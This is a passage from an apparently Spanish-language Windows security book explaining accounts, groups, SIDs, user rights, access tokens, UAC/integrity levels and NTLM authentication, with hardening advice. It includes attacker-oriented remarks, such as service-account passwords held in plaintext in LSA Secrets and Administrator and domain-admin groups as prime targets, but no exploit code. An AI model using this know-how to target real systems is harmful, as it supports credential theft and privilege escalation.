krbtgt Cuenta del servicio del centro de distribución de claves de
Kerberos; sólo se encuentra en controladores de dominio y está
deshabilitada, como opción predeterminada
TSInternetUser Cuando está habilitada la Terminal Services Internet Connector
Licensing, la cuenta se usa para personificar automáticamente a
usuarios remotos (sólo Windows 2000)
Tabla 2-1 Las cuentas integradas de Windows
Cuentas de servicio
Cuenta de servicio es un término no oficial usado para describir una cuenta de usuario de Win-
dows que lanza y ejecuta un servicio de manera no interactiva (un término computacional más
tradicional es cuentas de procesamiento por lotes). Por lo general, las personas no usan las cuentas
de servicio para inicio de sesión interactivo, sino para iniciar y ejecutar rutinas automatiza-
das que proporcionan cierta funcionalidad continua al sistema operativo. Por ejemplo, el servi-
cio de indexación, que indexa el contenido y las propiedades de archivos en equipos locales y
remotos, y se localiza en %systemroot%\System32\cisvc.exe, puede configurarse para iniciar en
el tiempo de arranque usando la applet Servicios del Panel de control. Para que se ejecute es-
te ejecutable, debe autentificarse en el sistema operativo. Por ejemplo, el servicio de Indexación
se autentifica y ejecuta como la cuenta LocalSystem en Windows Server 2003 en su configura-
ción predeterminada.
El surgimiento de los SID específicos del servicio en Vista permite que el Administrador de control de
Nota servicios (SCM, Service Control Manager) asigne SID a procesos de servicios cuando empiezan, lo
que mejora la especificidad del control de acceso sobre el modelo simple basado en cuentas (aunque
aún se usen éstas).

Las cuentas de servicio son un mal necesario en Windows. Debido a que todo el código debe
ejecutarse en el contexto de una cuenta, no pueden evitarse. Por desgracia, debido a que están
diseñadas para autentificar de manera automatizada, las contraseñas para estas cuentas deben
proporcionarse al sistema sin interacción humana. En realidad, Microsoft diseñó la familia Win-
dows NT para incluir en caché las contraseñas de cuentas de servicio en el sistema local. Esto se
hizo por la simple conveniencia de que muchos servicios necesitan empezar antes de que la red
esté disponible (en tiempo de arranque) y, por tanto, no pueden autentificarse para controlado-
res de dominio. Al incluir en caché las contraseñas localmente, se evita esta situación. He aquí el
resumen:
Las contraseñas de cuentas de servicio que no son SYSTEM se almacenan en texto simple en una parte
del Registro llamada Secretos LSA, que sólo es accesible para LocalSystem.
Resaltamos esta frase porque lleva a una de las principales fallas de seguridad del sistema
operativo Windows: si un hacker malicioso puede comprometer un sistema de la familia Win-
dows NT con privilegios equivalentes a Administrador, puede extraer las contraseñas en texto
simple para las cuentas de servicio de ese equipo.
Tal vez esté diciendo “Bravo”, si ya es el equivalente a un Administrador del equipo; “¿Qué
uso adicional tienen las cuentas de servicio?”. Aquí es donde las cosas se ponen difíciles: las
cuentas de servicio pueden ser cuentas de dominio o incluso cuentas de otros dominios confia-
bles. (Consulte la sección “Confianzas”, en páginas posteriores de este capítulo). Por tanto, con
esta falla pueden exponerse las credenciales de otros dominios de seguridad. Leerá más acerca
de la manera en que se hace esto en el capítulo 7.
Sugerencia
Recomendamos encarecidamente que se nieguen a todas las cuentas de servicio los derechos de
inicio de sesión interactivo empleando directivas de máquina o de dominio para evitar que un intruso
humano use esas credenciales de manera interactiva.
Endurecimiento del servicio Los servicios representan un gran porcentaje de la superficie de ata-
que general en Windows debido a que suelen estar siempre habilitados y se ejecutan con los pri-
vilegios más elevados. En gran medida debido a esto, Microsoft empezó a dar pasos para redu-
cir el riesgo de la ejecución de servicios en versiones más recientes del sistema operativo.
Uno de los primeros pasos fue ejecutar servicios con los menores privilegios, un principio de
control de acceso muy aceptado. A partir de Windows Server 2003, Microsoft creó dos nuevos
grupos integrados denominados Servicio Local y Servicio de Red y empezó a ejecutar más ser-
vicio empleando estas cuentas de privilegios menores en lugar de la cuenta todopoderosa Local-
System. (Hablaremos más acerca de los servicios locales y de red en todo este capítulo).
En Vista, Microsoft implementó el endurecimiento de servicio de Windows, que definió SID
por servicio. Esto hizo que efectivamente ciertos servicios se comportaran como usuarios únicos
(una vez más, en oposición a la identidad genérica y con altos privilegios LocalSystem). Ahora
la configuración predeterminada de control de acceso de Windows podía aplicarse a los recursos
para que fueran privados para el servicio, evitando que otros servicios y usuarios accedieran al
recurso.

Entre las características adicionales incluidas en el endurecimiento de servicio de Vista se

incluye la eliminación de privilegios innecesarios de Windows (como el poderoso privilegio de
depuración), la aplicación de una ficha de acceso de escritura restringida al proceso del servicio
para evitar la escritura en recursos que no otorgan de manera explícita el acceso al SID del ser-
vicio, además de la vinculación de la directiva de firewall de Windows al SID previo al servicio
para evitar acceso de red no autorizado por parte del servicio. Con el fin de conocer más acerca
del endurecimiento del servicio, consulte la sección “Referencias y lecturas adicionales”.
Lo importante
He aquí un resumen de las cuentas de Windows desde la perspectiva de un hacker malicioso:
Los administradores y la cuenta SYSTEM son los destinos más jugosos en un sistema Windows
porque son las cuentas más poderosas. Todas las demás cuentas tienen privilegios limitados
en relación con los Administradores y SYSTEM (y una posible excepción son las cuentas de
servicio). Comprometer a los Administradores o la cuenta SYSTEM es, por tanto, casi siempre
el objetivo final de un atacante.
Grupos
Los grupos son sobre todo una conveniencia administrativa: son contenedores lógicos para agre-
gar cuentas de usuario. (También pueden usarse para configurar listas de distribución de correo
electrónico en Windows 2000 y posteriores, que históricamente no han tenido implicaciones de
seguridad).
Los grupos también se usan para asignar privilegios en masa, lo que puede tener un elevado
impacto en la seguridad de un sistema. Las distintas versiones de Windows incluyen grupos in-
tegrados, contenedores predefinidos para usuario que también poseen distintos niveles de pri-
vilegio. Cualquier cuenta colocada dentro de un grupo hereda esos privilegios. El ejemplo más
simple es la adición de cuentas al grupo local Administradores, lo que asciende, en esencia, al
usuario agregado a un estatus todopoderoso en la máquina local. (Verá que se intenta esto mu-
chas veces en todo el libro). En la tabla 2-2 se presenta una lista de grupos integrados en Win-
dows Server 2003. Otras versiones de Windows pueden tener menos grupos integrados, o
diferentes, pero los que aparecen en la tabla 2-2 son los más comunes.
Es posible usar una unidad organizativa (OU, Organizational Unit), además de los grupos, para agregar
Nota
cuentas de usuario, las OU son construcciones definidas arbitrariamente por Active Directory y no
poseen privilegios inherentes como las cuentas integradas de grupos de seguridad.
Cuando un sistema de Windows Server es ascendido a controlador de dominio, también se ins-

tala una serie de grupos predefinidos. Entre los grupos predefinidos más poderosos se incluyen los
Administradores de dominio, que son todopoderosos en un dominio, y los Administradores de
organización, que son todopoderosos en un bosque. En la tabla 2-3 se presenta una lista de los
grupos predefinidos de Windows Server 2003.

Nombre del grupo Comentario

Operadores de cuenta No tan poderoso como Administradores, pero cerca de éste
Administradores Los miembros son todopoderosos en el equipo local (SID
S-1-5-32-544)
Operadores de copia No tan poderoso como Administradores, pero cerca de éste
Invitados Mismos privilegios que Usuarios
HelpServicesGroup Nuevo en Windows Server 2003, usado para el Centro de
ayuda y soporte técnico
IIS_WPG Nuevo en Windows Server 2003; si está instalado IIS, es el
grupo de procesos de trabajo de IIS que ejecuta los procesos
de aplicaciones
Servicio local Nuevo en Windows Server 2003, es un grupo oculto con
menos privilegios diseñado para cuentas de servicio que no
necesitan acceso de red (en lugar de usar SYSTEM)
Operadores de Nuevo en Windows Server 2003, este grupo tiene privilegios
configuración de red suficientes para administrar la configuración de red
Servicio de red Nuevo en Windows Server 2003, es un grupo oculto con
menos privilegios diseñado para cuentas de servicio que
requieren acceso de red (en lugar de usar SYSTEM)
Usuarios de registro Nuevo en Windows Server 2003, este grupo tiene acceso
de rendimiento remoto para programar el registro de los contadores de
rendimiento
Usuarios de monitor Nuevo en Windows Server 2003, este grupo tiene acceso
de rendimiento remoto al monitor del equipo
Usuarios avanzados Más poderoso que Usuarios, pero no tan poderoso como
Administradores
Operadores de impresión No tan poderoso como Administradores, pero cerca de éste
Usuarios de escritorio Nuevo en Windows Server 2003, es equivalente a los
remoto usuarios de Servidor de terminal en versiones anteriores
Duplicador Usado para réplica de archivos en un dominio
Operadores de servidor No tan poderoso como Administradores, pero cerca de éste
TelnetClients Nuevo en Windows Server 2003, los miembros pueden
acceder a los servicios de telnet, si están habilitados
Servidores de licencia de Nuevo en Windows Server 2003, estas máquinas pueden
servidor de terminal emitir licencias TermServ
Usuarios Todas las cuentas de usuario en el equipo local, un grupo de
bajos privilegios (SID S-1-5-32-545)
Tabla 2-2 Ejemplos de grupos integrados de Windows Server 2003

Nombre del grupo Comentario

Publicadores de certificados Los miembros tienen permitido publicar certificados
en Active Directory
DnsAdmins Administradores de DNS (sólo si está instalado DNS
de Windows)
DnsAdmins DNS administrators, domain local
DnsUpdateProxy Clientes DNS a los que se permite realizar
actualizaciones dinámicas a nombre de alguno de los
otros clientes (como servidores DHCP; sólo si está
instalado DNS de Windows)
Administradores de dominio Todopoderoso en el dominio
Usuarios del dominio Todos los usuarios del dominio
Equipos del dominio Todos los equipos en el dominio
Controladores de dominio Todos los controladores en el dominio
Invitados del dominio Todos los invitados del dominio
Administradores de Todopoderoso en el bosque
organización
Propietarios del creador de Los miembros pueden modificar las directivas del
directivas de grupo grupo para el dominio
Creadores de confianza de Los miembros pueden crear confianzas de entrada,
bosque de entrada de una vía, para el bosque
Acceso compatible con Grupo de compatibilidad hacia atrás
versiones anteriores de
Windows 2000
Servidores RAS e IAS Los servidores pueden acceder a propiedades de
“acceso remoto” sobre objetos de usuario
Administradores de esquema Los miembros pueden editar el esquema de
directorio; muy poderoso
Grupo de acceso de Los miembros tienen acceso al atributo calculado
autorización de Windows tokenGroupsGlobalAndUniversal sobre objetos de
Usuario
Tabla 2-3 Grupos predefinidos en Windows Server 2003

Para resumir los grupos de Windows desde la perspectiva del hacker malicioso:
Los miembros del grupo local de Administradores son los objetivos más jugosos en un sistema
Windows porque los miembros de este grupo heredan el control completo del sistema local. Los
Administradores de dominio y los Administradores de organización son los objetivos más
jugosos en un dominio de Windows, porque los miembros de estos grupos son todopoderosos
en todos los equipos (apropiadamente configurados) en el dominio. Todos los otros grupos
poseen privilegios muy limitados en relación con los Administradores, los Administradores de
dominio y los Administradores de organización. Volverse uno de éstos (ya sea mediante
un compromiso directo de una cuenta existente o la adición de una cuenta ya comprometida
a uno de esos grupos) es, por tanto, casi siempre el objetivo final del atacante.
Identidades especiales
Además de los grupos integrados, Windows tiene varias identidades especiales (en ocasiones lla-
madas grupos conocidos), que son contenedores de cuentas que pasan transitivamente a través de
ciertos estados (como haber iniciado sesión en la red) o desde ciertos lugares (como interacti-
vamente en el teclado). Estas identidades pueden usarse para afinar el control de acceso a los
recursos. Por ejemplo, el acceso a ciertos procesos puede estar reservado sólo para usuarios IN-
TERACTIVOS (y, por tanto, bloqueados para todos los usuarios autentificados en red). Estos
grupos conocidos pertenecen al “dominio” NT AUTHORITY, de modo que para hacer referencia
a su nombre plenamente calificado, diría NT AUTHORITY\Todos, por ejemplo. En la tabla 2-4 se
presenta una lista de las identidades especiales de Windows.
Algunos puntos clave que vale la pena indicar en relación con estas identidades especiales:
Puede utilizarse el grupo Inicio de sesión anónimo para poner el pie en un sistema Windows
sin autentificación. Además, la identidad INTERACTIVO se requiere en muchos casos para
ejecutar ataques de escalada de privilegios contra Windows (consulte el capítulo 7).
Grupos restringidos
Un concepto muy ingenioso que se introdujo con Windows 2000, los grupos restringidos, permi-
te a un administrador establecer una directiva de dominio que restringe la membresía de un
grupo determinado. Por ejemplo, si un usuario no autorizado se agrega al grupo local de Admi-
nistradores en un miembro de dominio, tras la siguiente actualización de la Directiva de grupo,
esa cuenta se eliminará, de modo que esa membresía refleje lo que se ha definido en la directiva
de grupos restringidos. Estos parámetros de actualizan cada 90 minutos en el equipo de un
miembro, cada 5 minutos en un controlador de dominio y cada 16 horas, hayan o no ocurrido
cambios.
Equipos (cuentas de máquina)

Cuando un sistema Windows se une a un dominio, se crea una cuenta de equipo. Las cuentas de
equipo son, en esencia, cuentas de usuario que usan máquinas para iniciar sesión y acceder a
recursos (por tanto, a los equipo también se les denomina cuentas de máquina). Este nombre de
cuenta adjunta un signo de pesos ($) al nombre de la máquina (nombremáquina$).
Como podría imaginar, para iniciar sesión en un dominio, las cuentas de equipo requieren
contraseñas. Los controladores de dominio generan y manejan automáticamente las contraseñas de

Identidad SID Comentario

Inicio de sesión S-1-5-7 Grupo oculto especial que incluye todos
anónimo los usuarios que se han autentificado con
credenciales nulas
Usuarios S-1-5-11 Grupo oculto especial que incluye todos los
autentificados usuarios que han iniciado sesión
INTERACTIVO S-1-5-4 Todos los usuarios que han iniciado sesión en
el sistema local a través de la consola física o
Servicios de terminal
Todos S-1-1-0 Todos los usuarios de red actuales, incluidos los
invitados y usuarios de otros dominios
Red S-1-5-2 Todos los usuarios que han iniciado sesión a
través de una conexión de red; las fichas de
acceso para usuarios interactivos no contienen
el SID de red
Servicio S-1-5-6 Todos los directivos de seguridad que han
iniciado sesión como servicio; la membresía la
controla el sistema operativo
Esta empresa S-1-5-15 Nuevo en Windows Server 2003, agregado
por el servidor de autentificación a los datos
de autentificación de un usuario, siempre y
cuando el SID de Otra organización no esté
presente
Otra empresa S-1-5-1000 Nuevo en Windows Server 2003, provoca una
revisión para asegurar que a un usuario de otro
bosque o dominio se le permite autentificar a
un servicio determinado
Tabla 2-4 Identidades especiales de Windows (también denominadas grupos conocidos)
equipo. (Consulte la próxima sección “Bosques, árboles y dominios”). De otra manera, las con-
traseñas de equipo se almacenan y acceden como cualquier otra contraseña de cuenta de usua-
rio. (Consulte la próxima sección “El SAM y Active Directory”). Como opción predeterminada,
se restablecen cada 30 días, pero los administradores pueden configurar un intervalo diferente,
si lo desean.
El uso principal para las cuentas de equipo es la creación de un canal seguro entre el equipo
y el controlador de dominio con el fin de intercambiar información. Como opción predetermina-
da, ese canal seguro no está cifrado (aunque parte de la información que pasa por él ya lo está,
como los hashes de contraseña), y su integridad no está verificada (por tanto, lo hace vulnerable
al espionaje o a los ataques de personas intermediarias). Por ejemplo, cuando un usuario inicia
sesión en un dominio desde un equipo miembro del dominio, el intercambio de inicio de sesión
ocurre en el canal seguro registrado entre el miembro y el controlador de dominio.

Nunca hemos escuchado de un caso donde la explotación de una cuenta de máquina haya
dado como resultado una exposición seria, de modo que no analizaremos esto con mucho deta-
lle en este libro.
Derechos de usuario
Recuerde el objetivo principal del atacante, establecido desde el principio de este capítulo:
Ejecutar comandos en el contexto más privilegiado, para obtener acceso a recursos y datos.
Acabamos de describir algunos de los contextos de cuentas de modo de usuario con “mayo-
res privilegios”, como Administrador y LocalSystem. ¿Qué hace a estas cuentas tan poderosas?
En una palabra (cuatro palabras, en realidad): los derechos de usuario. Se trata de un conjunto fini-
to de capacidades básicas, como inicio de sesión local o depuración de programas. Se usan en el
modelo de control de acceso, además del estándar de comparación entre los SID de ficha de acce-
so y los descriptores de seguridad. Los derechos de usuario suelen asignarse a grupos, porque
esto los hace más fáciles de manejar que si se asignaran constantemente a usuarios individuales.
Por esto la membresía en grupos es tan importante: porque el grupo suele ser la unidad de asig-
nación de privilegios.
Pueden otorgarse dos tipos de derechos de usuario: derechos de usuario de inicio de sesión y
privilegios. Ésta es simplemente una clasificación semántica para diferenciar a los derechos que
se aplican antes y después de que una cuenta sea autentificada, respectivamente. Están disponi-
bles más de 40 derechos de usuario discretos en Windows Server 2008 (nombre de código Long-
horn), y aunque cada uno puede tener un fuerte impacto en la seguridad, sólo analizaremos los
que tradicionalmente lo han tenido. En la tabla 2-5 se delinean algunos de los privilegios que
consideramos críticos, junto con nuestras configuraciones recomendadas.
Tome en cuenta que la “negación” de derechos invalida a sus correspondientes derechos
“permitidos”, si una cuenta es sujeto de ambas directivas.
En Windows Server 2003 se implementaron algunos derechos de usuario relacionados con la
seguridad, entre los que se incluyen los siguientes:
• Permitir el inicio de sesión a través de los Servicios de terminal

• Negar el inicio de sesión a través de los Servicios de terminal
• Suplantar la personalidad de un cliente después de la autentificación
• Realizar tareas de mantenimiento de volumen
Los derechos relacionados con los Servicios de terminal se implantaron para atender un
hueco en los derechos “Permitir/negar acceso al equipo desde la red”, que no se aplica a los ser-
vicios de terminal. El derecho “Suplantar la personalidad de un cliente después de la autentifi-
cación” se agregó para ayudar a mitigar los ataques de escalada de privilegios en que los servicios
con menos privilegios suplantaban la personalidad de clientes con privilegios más elevados.
Al final, pero no por ello menos importante en nuestro análisis de los derechos de usuario, se
encuentra el recordatorio de que siempre se debe usar el principio de la menor cantidad de privile-
gios. Vemos que demasiadas personas inician sesión con cuentas equivalentes a Administrador para
realizar tareas cotidianas. Al tomar un poco de tiempo de antemano para pensar los derechos de
usuario apropiados, se pueden aliviar todas las vulnerabilidades de seguridad importantes analiza-
das en este libro. Inicie sesión como un usuario con la menor cantidad de privilegios y use la herra-
mienta runas (consulte el capítulo 12) para escalar los privilegios a medida que sean necesarios.

Derecho de usuario Recomendación Comentarios

Depurar programas Elimine todos los Como verá en todo este libro,
usuarios y grupos el privilegio de depuración
(tome en cuenta que suele ser motivo de abuso
los Administradores por parte de las herramientas
pueden volverse a de hacker para accesar a
agregar más adelante) porciones muy confidenciales
del sistema operativo
Negar acceso a este Inicio de sesión Mitiga el abuso de la cuenta
equipo desde la red anónimo (SID S-1- local de Administrador, que
5-7), Administrador no puede eliminarse (no afecta
(RID 500), cuentas el inicio de sesión del Servidor
de servicio, Support_ de terminal)
388945a0 e Invitados
Negar el inicio de sesión Cuentas de servicio Mitiga el abuso de las
local (inicio de sesión credenciales de cuenta de
interactivo) servicio de dominio que se
capturan desde una sola
máquina vulnerable
Negar el inicio de sesión Administrador (RID Mitiga el abuso de las
a través de los Servicios 500), cuentas de servicio credenciales de cuentas
de terminal locales de Administrador y de
servicio mediante Servidor de
terminal
Apagar el sistema Agregue grupos que Sería mejor otorgar este
requieren este privilegio privilegio a personal
como parte de una de soporte remoto que
función de trabajo simplemente elevarlo a
Administradores
Tabla 2-5 Recomendaciones para la asignación de privilegios
INTEGRACIÓN DE TODAS LAS PIEZAS: CONTROL

DE ACCESO
Ahora que conoce a los jugadores que participan, analicemos el corazón del modelo de seguri-
dad de Windows: el control de acceso (autentificación y autorización). ¿De qué manera el siste-
ma operativo decide si un directivo de seguridad puede acceder a un recurso protegido?
En primer lugar, Windows debe determinar si está tratando con un directivo de seguridad
válido. Eso se hace a través de la autentificación. El ejemplo más simple es un usuario que inicia
sesión en Windows a través de la consola. El usuario oprime las teclas estándar ctrl+alt+supr,
para desplegar la utilería de inicio de sesión segura de Windows y luego ingresa un nombre de

cuenta y una contraseña. La utilería de inicio de sesión segura pasa las credenciales ingresadas
a través de los componentes del modo de usuario responsables de validarlos (sobre todo LSASS).
Suponiendo que las credenciales son válidas, LSASS crea una ficha (o ficha de acceso), que lue-
go se adjunta a la sesión de inicio de sesión de usuario y se produce en cualquier intento sub-
secuente de acceso a los recursos.
La interfaz de usuario de inicio de sesión segura previa a Vista puede ser atacada mediante un caballo
Nota
de Troya por parte de usuarios equivalentes a Administradores, como analizaremos en el capítulo 7. A
partir de Vista, un nuevo marco conceptual de proveedor de credenciales (CP, Credencial Provider) hace
que esos ataques resulten obsoletos, aunque un CP malicioso tiene el mismo peligro.
Sugerencia En Windows XP y posterior, oprima las teclas windows y l simultáneamente para bloquear su
escritorio; se trata de una opción a oprimir ctrl+alt+supr y luego enter.
La ficha
La ficha contiene una lista de todos los SID relacionados con la cuenta de usuario, incluidos el
SID de la cuenta y los SID de todos los grupos e identidades especiales de los que es miembro la
cuenta de usuario (por ejemplo, Administradores de dominio o INTERACTIVO). Puede usar
una herramienta como whoami (incluida como opción predeterminada a partir de Windows
Server 2003) para descubrir cuáles SID están relacionados con una sesión de inicio de sesión,
como se muestra a continuación (muchas líneas se han truncado debido a las restricciones del
ancho de páginas):
C:\>whoami /user /groups
INFORMACIÓN DE USUARIO
----------------------
Nombre de usuario SID

========================= ==========================================
vegas2\jsmith S-1-5-21-1527495281-1310999511-3141325392-500
INFORMACIÓN DE GRUPO
--------------------
Nombre de grupo Tipo SID Atributos

=========================================================================
Todos Grupo conocido S-1-1-0
Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Administradores Alias S-1-5-32-544
Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado,
Propietario de grupo
BUILTIN\Usuarios Alias S-1-5-32-545

BUILTIN\Acceso compatible con versiones anteriores de Windows 2000 Alias

S-1-5-32-554
NT AUTHORITY\INTERACTIVE Grupo conocido S-1-5-4
NT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11
NT AUTHORITY\Esta compañía Grupo conocido S-1-5-15
LOCAL Grupo conocido S-1-2-0
VEGAS2\ Propietarios del creador de directivas de grupo Grupo S-1-5-21-
[cortado]-520
VEGAS2\Administradores de dominio Grupo S-1-5-21-[cortado]-512
VEGAS2\Administradores de esquema Grupo S-1-5-21-[cortado]-518
VEGAS2\Administradores de organización Grupo S-1-5-21-[cortado]-519
Con este ejemplo se muestra que el proceso actual se ejecuta en el contexto del usuario
jsmith, que es un miembro de Administradores y Usuarios autentificados y también pertenece a
las identidades especiales Todos, LOCAL e INTERACTIVO.
Cuando jsmith trata de acceder a un recurso, como un archivo, el subsistema de seguridad
de Windows compara su ficha con la DACL en el objeto, que especifica los SID que son permiti-
dos para acceder al objeto e incluye las maneras en que puede accederse a él (como lectura, es-
critura, ejecución, etcétera). Si uno de los SID de la ficha de jsmith coincide con un SID en la
DACL, entonces se le otorga acceso como está especificado en ésta. Un diagrama del proceso se
muestra en la figura 2-2.
Impersonalización
Para ahorrar exceso de trabajo en la red, la familia Windows NT se diseñó para la impersonaliza-
ción de un contexto de cuenta de usuario cuando solicita acceso a los recursos en un servidor
remoto. La impersonalización funciona al dejar que el servidor notifique al subsistema de segu-
ridad que está adoptando temporalmente la ficha del cliente al hacer la solicitud de recursos.
Luego el servidor puede acceder a recursos a nombre del cliente y el subsistema de seguridad
valida todos los accesos como normales. El ejemplo clásico de impersonalización es la solicitud
anónima de páginas Web mediante IIS. IIS adquiere la personalidad de la cuenta IUSR_nombre-
máquina durante todas estas solicitudes.
Ficha restringida
En Windows 2000 se introdujo la ficha restringida. Una ficha restringida suele asignarse a un pro-
ceso secundario para que tenga un acceso más limitado que su proceso principal. Por ejemplo,
una aplicación podría derivar una ficha restringida del proceso principal o la ficha de suplanta-
ción de personalidad para ejecutar un módulo con código no confiable, en caso de que pudieran
realizarse acciones inapropiadas empleando los privilegios completos de la ficha principal.

Figura 2-2 El modelo de control de acceso de Windows
Las fichas restringidas se crean al hacer cualquiera de los siguientes cambios a la ficha de
acceso original:
• Eliminación de privilegios
• Aplicación del atributo sólo negar a SID
• Adición de una lista de SID restringidos
Cuando un proceso o un subproceso restringido trata de acceder a un objeto asegurable, el

sistema realiza dos comprobaciones de acceso contra la DACL del objeto:
• Compara los SID habilitados y de sólo negación de la ficha

• Compara la lista de SID restringidos
El acceso sólo se otorga si ambas comprobaciones permiten los derechos de acceso soli-
citados.

Delegación
La delegación fue una nueva característica en Windows 2000 que permitía a un servicio suplan-
tar la personalidad de una cuenta de usuario o de equipo para acceder a recursos en todo el do-
minio. Windows 2000 tenía dos limitaciones en relación con esta característica:
• La delegación no podía restringirse; es decir, una cuenta de delegado podía acceder a
cualquier recurso del dominio.
• La delegación requería autentificación de Kerberos.
Ambas restricciones fueron atendidas en Windows Server 2003. Ahora la delegación puede res-
tringirse a servicios específicos y ya no se requiere Kerberos.
precaución Aun debe estar consciente de las cuentas de equipo de confianza para delegación, porque esto
permite que la cuenta LocalSystem en ese equipo acceda a servicios en el dominio.
Niveles de integridad, UAC y LoRIE

Con Windows Vista, Microsoft implementó una extensión al sistema básico de control de acceso
discrecional que acabamos de describir. La principal intención de este cambio fue implementar
el control de acceso obligatorio en ciertos escenarios. Por ejemplo, acciones que requieren privile-
gios administrativos requerirían autorización adicional, más allá de la relacionada con la ficha
de acceso de contexto de usuario. Microsoft denominó a esta nueva extensión de arquitectura
Control obligatorio de integridad (MIC, Mandatory Integrity Control).
Para lograr el comportamiento similar al control de acceso obligatorio, MIC implementa
efectivamente un nuevo conjunto de cuatro directivos de seguridad llamados niveles de integri-
dad (IL, Integrity Levels), que pueden agregarse a las fichas de acceso y las ACL:
• Bajo
• Medio
• Alto
• Sistema
Los niveles de integridad se implementan como SID, de la misma manera que cualquier otro
directivo de seguridad. Ahora, además de la revisión del control de acceso estándar que descri-
bimos al principio de este capítulo, Windows también revisará si el nivel de integridad de la fi-
cha de acceso que solicita coincide con el del recurso de destino. Por ejemplo, un proceso con
nivel de integridad Medio podría estar bloqueado para lectura, escritura o ejecución “hasta” un
objeto con nivel de integridad Alto.
MIC no es directamente visible cuando se usa Vista; más bien sirve como el sustento de algunas
de las nuevas características de seguridad en el sistema operativo: Control de cuentas de usuario
(UAC, User Account Control) e Internet Explorer de derechos bajos (LoRIE, Low Rights Internet Ex-
plorer). Hablaremos brevemente acerca de ellos para mostrar cómo funciona MIC en la práctica.
Control de cuentas de usuario, al que se le denominaba Acceso inferior de usuario, o LUA
(Least User Access), en versiones anteriores de Vista, es tal vez la nueva característica de seguri-
dad más visible en Vista. Funciona de la manera siguiente:
1. Los desarrolladores “marcan” aplicaciones al incrustar un manifiesto de aplicación
(disponible desde XP) para indicar al sistema operativo si la aplicación necesita
privilegios elevados.

2. La LSA se ha modificado para otorgar dos fichas al inicio de sesión para cuentas
administrativas: una ficha filtrada y una vinculada. La ficha filtrada tiene eliminados todos
los privilegios elevados (utilizando el mecanismo de ficha restringida descrito antes).
3. Las aplicaciones se ejecutan como opción predeterminada empleando la ficha filtrada;
la ficha vinculada de privilegios completos sólo se usa cuando se lanzan aplicaciones
que están marcadas como que requieren privilegios elevados.
4. Se pide al usuario que use un entorno de consentimiento especial (el resto de la sesión
está atenuada y es inaccesible) si en realidad quieren lanzar el programa, y puede
pedírsele credenciales apropiadas si no son miembros de un grupo administrativo.
Suponiendo que los desarrolladores de aplicaciones tienen un buen comportamiento, Vista
alcanza el control de acceso obligatorio de un tipo: sólo pueden lanzarse aplicaciones específicas
con privilegios elevados.
He aquí cómo el Control de cuentas de usuario usa a MIC: todos los procesos de usuario no
administrativos se ejecutan con un nivel de integridad Medio, como opción predeterminada.
Una vez que se ha “elevado” un proceso empleando el Control de cuentas de usuario, se ejecuta
con nivel de integridad Alto y, por tanto, puede acceder a objetos de ese nivel. Por tanto, ahora
es “obligatorio” tener privilegios de nivel de integridad Altos para acceder a ciertos objetos den-
tro de Windows.
MIC también se encuentra bajo la implementación de LoRIE en Vista: el proceso Internet Ex-
plorer (iexplore.exe) se ejecuta en un nivel de integridad Bajo y, en un sistema con una configura-
ción predeterminada, sólo puede escribir en objetos con un SID de nivel de integridad Bajo (como
opción predeterminada, esto sólo incluye la carpeta %USERPROFILE%\AppData\LocalLow y la
clave de Registro HKCU\Software\AppDataLow). Por tanto, LoRIE no puede escribir en ningún
otro objeto del sistema, como opción predeterminada, restringiendo en gran medida el daño que
puede hacerse si el proceso se ve comprometido por malware mientras explora Internet.
precaución
En la versión de Vista, se han tomado provisiones para permitir que código no marcado se ejecute
con privilegios administrativos. En futuras versiones, la única manera de ejecutar una aplicación
elevada será tener un manifiesto firmado que identifique el nivel de privilegio que necesita la
aplicación.
precaución El Control de cuentas de usuario puede deshabilitarse en todo el sistema bajo la configuración
Activar o desactivar el Control de cuentas de usuario de la applet Cuentas de usuario del Panel de
control.
La investigadora de la seguridad Joanna Rutkowska escribió algunas críticas interesantes

sobre el Control de cuentas de usuario y MIC en Vista, en http://theinvisiblethings.blogspot.
com/2007/02/running-vista-everyday.html. El gurú de la tecnología de Windows Jesper Jo-
hansson ha escrito algunos artículos a fondo sobre Control de cuentas de usuario en su blog en
http://msinfluentials.com/blogs/jesper/.
Autentificación de red
La autentificación local en Windows mediante la combinación del teclado ctrl-alt-supr es sim-
ple, como ya lo describimos. Sin embargo, para iniciar sesión en Windows en red, el objetivo prin-
cipal del hacker malicioso, se requiere la explotación de la autentificación en red. Analizaremos

esto de manera breve aquí y presentaremos análisis informados en capítulos posteriores sobre
varias debilidades relacionadas con algunos componentes de protocolos de autentificación de
red de Windows.
La familia NT utiliza principalmente autentificación tipo desafío/respuesta, en la que el servi-
dor emite un valor aleatorio (el desafío) al cliente, que luego le aplica hash criptográfico utilizan-
do el hash de la contraseña del usuario y envía este valor con un nuevo hash (la respuesta) de
regreso al servidor. Entonces el servidor toma su copia del hash del usuario del Administrador
de cuentas de seguridad (SAM, Security Accounts Manager) o de Active Directory (AD), utiliza
el hash en el desafío que acaba de enviar y lo compara con la respuesta del cliente. Por tanto, nin-
guna contraseña jamás recorrerá un cable durante la autentificación de la familia NT, ni siquiera en forma
cifrada. El mecanismo de desafío/respuesta se ilustra en la figura 2-3 y se describe de manera
más completa en el artículo Q102716 de la base de conocimientos (KB, Knowledge Base).
Figura 2-3 Autentificación tipo desafío/respuesta de LM/NTLM

El paso 3 de este diagrama es el más crítico. La familia NT puede usar uno de tres diferentes
algoritmos de hash para barajar el desafío de 8 bytes:
• Hash LANMan (LM)

• Hash NTLM
• NTLM versión 2 (NTLMv2)
En el capítulo 5, analizaremos una debilidad con el hash LM que permite que un atacante
con la capacidad de escuchar a escondidas en la red adivine el hash de la contraseña con relativa
facilidad; luego el hacker puede usarlo para tratar de adivinar la contraseña real fuera de línea
(¡aunque el hash de la contraseña nunca haya recorrido la red!).
Para combatir esto, Microsoft liberó un algoritmo mejorado sólo para NT, NTLM, con NT 4
Service Pack 3 y una posterior versión asegurada en NT 4 SP4 llamada NTLM v2. Los clientes de
Windows 95/98 no implementan nativamente NTML de modo que la seguridad ofrecida por
NTLM y NTLMv2, por lo general no se desplegaba en el pasado en redes combinadas. (La utile-
ría DSClient que se incluye en el CD-ROM de Windows 2000 actualiza a los clientes de Windows
9x para que puedan realizar autentificación NTLM y NTLMv2).
Los entornos homogéneos de Windows 2000 y posterior pueden usar el protocolo integrado
Kerberos v5 que se introdujo en Windows 2000; sin embargo, Windows Server 2003 es comple-
tamente compatible hacia atrás con LM, NTLM y NTLMv2 y se ajustará hacia abajo al protocolo
